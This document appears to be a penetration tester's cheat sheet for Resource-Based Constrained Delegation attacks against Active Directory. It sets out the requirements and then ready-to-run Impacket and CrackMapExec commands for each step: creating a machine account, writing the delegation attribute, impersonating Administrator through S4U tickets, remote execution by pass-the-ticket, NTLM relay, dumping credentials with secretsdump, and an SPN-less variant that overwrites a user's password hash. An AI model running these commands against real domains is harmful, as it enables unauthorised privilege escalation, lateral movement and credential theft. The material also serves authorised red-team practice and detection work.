Resource-Based Constrained Delegation (RBCD)

1. Core Concept

RBCD allows an account (A) to impersonate any user when accessing a target system (B).

Controlled via attribute:

msDS-AllowedToActOnBehalfOfOtherIdentity

If you can modify this attribute on a target -> you can impersonate users to that target.

2. Requirements

You need at least one:

  • GenericWrite / WriteProperty / WriteDACL on target object
  • Control of a machine account
  • Ability to create machine accounts (MachineAccountQuota > 0)

Check MachineAccountQuota:

crackmapexec ldap <DC-IP> -u user -p pass -M maq

3. Valid Accounts for Delegation

The account you control must be usable by Kerberos:

  • Computer account (ends with $)
  • User with SPN set
  • SPN-less user (advanced technique)

4. Attack Flow

Step 1: Create or Use Controlled Account

Create machine account (if allowed):

impacket-addcomputer domain/user:password -dc-ip <DC-IP> -computer-name ATTACKER$ -computer-pass Pass123!

Step 2: Write RBCD Attribute

Add your controlled account to target:

impacket-rbcd -delegate-from ATTACKER$ -delegate-to TARGET$ -dc-ip <DC-IP> -action write domain/user:password

Verify:

impacket-rbcd -delegate-to TARGET$ -dc-ip <DC-IP> -action read domain/user:password

Step 3: Request Service Ticket (Impersonation)

Impersonate Administrator:

impacket-getST -spn cifs/TARGET.domain.local -impersonate Administrator -dc-ip <DC-IP> domain/ATTACKER$:Pass123!

This performs:

  • S4U2Self
  • S4U2Proxy

Step 4: Pass-the-Ticket

Export ticket:

export KRB5CCNAME=Administrator.ccache

Use it:

smbexec.py -k -no-pass TARGET.domain.local

or

wmiexec.py -k -no-pass TARGET.domain.local

or

psexec.py -k -no-pass TARGET.domain.local

5. Relay-Based RBCD

If relaying authentication:

ntlmrelayx.py -t ldap://<DC-IP> --delegate-access

This sets RBCD automatically on successful relay.

6. SPN Selection

Common SPNs:

  • cifs/TARGET -> SMB access, secretsdump
  • host/TARGET -> broader access
  • ldap/TARGET -> directory access

Example:

getST.py -spn host/TARGET.domain.local -impersonate Administrator ...

7. Dump Credentials After Access

secretsdump.py -k -no-pass TARGET.domain.local

8. Constraints / Fail Cases

Fails if:

  • User is "Sensitive and cannot be delegated"
  • User is in "Protected Users"

Exception:

  • Built-in Administrator (RID 500) still works

9. SPN-less RBCD (Advanced)

Used when MachineAccountQuota = 0

Steps:

  1. Get TGT:
impacket-getTGT domain/user:password
  1. Extract session key:
impacket-describeTicket TGT.ccache
  1. Replace NT hash:
impacket-changepasswd -newhashes :<SESSION_KEY> domain/user:password@<DC-IP>
  1. Request ticket using U2U:
KRB5CCNAME=TGT.ccache impacket-getST -u2u -impersonate Administrator -spn host/TARGET.domain.local -k -no-pass domain/user
  1. Restore password (optional):
impacket-changepasswd -hashes :<SESSION_KEY> -newhashes :<OLD_HASH> domain/user@<DC-IP>

Note:

  • This breaks the user account temporarily

10. AnySPN Trick

You can modify service class after ticket generation.

Example:

  • Request: cifs/TARGET
  • Use as: host/TARGET

Handled automatically by Impacket in many cases.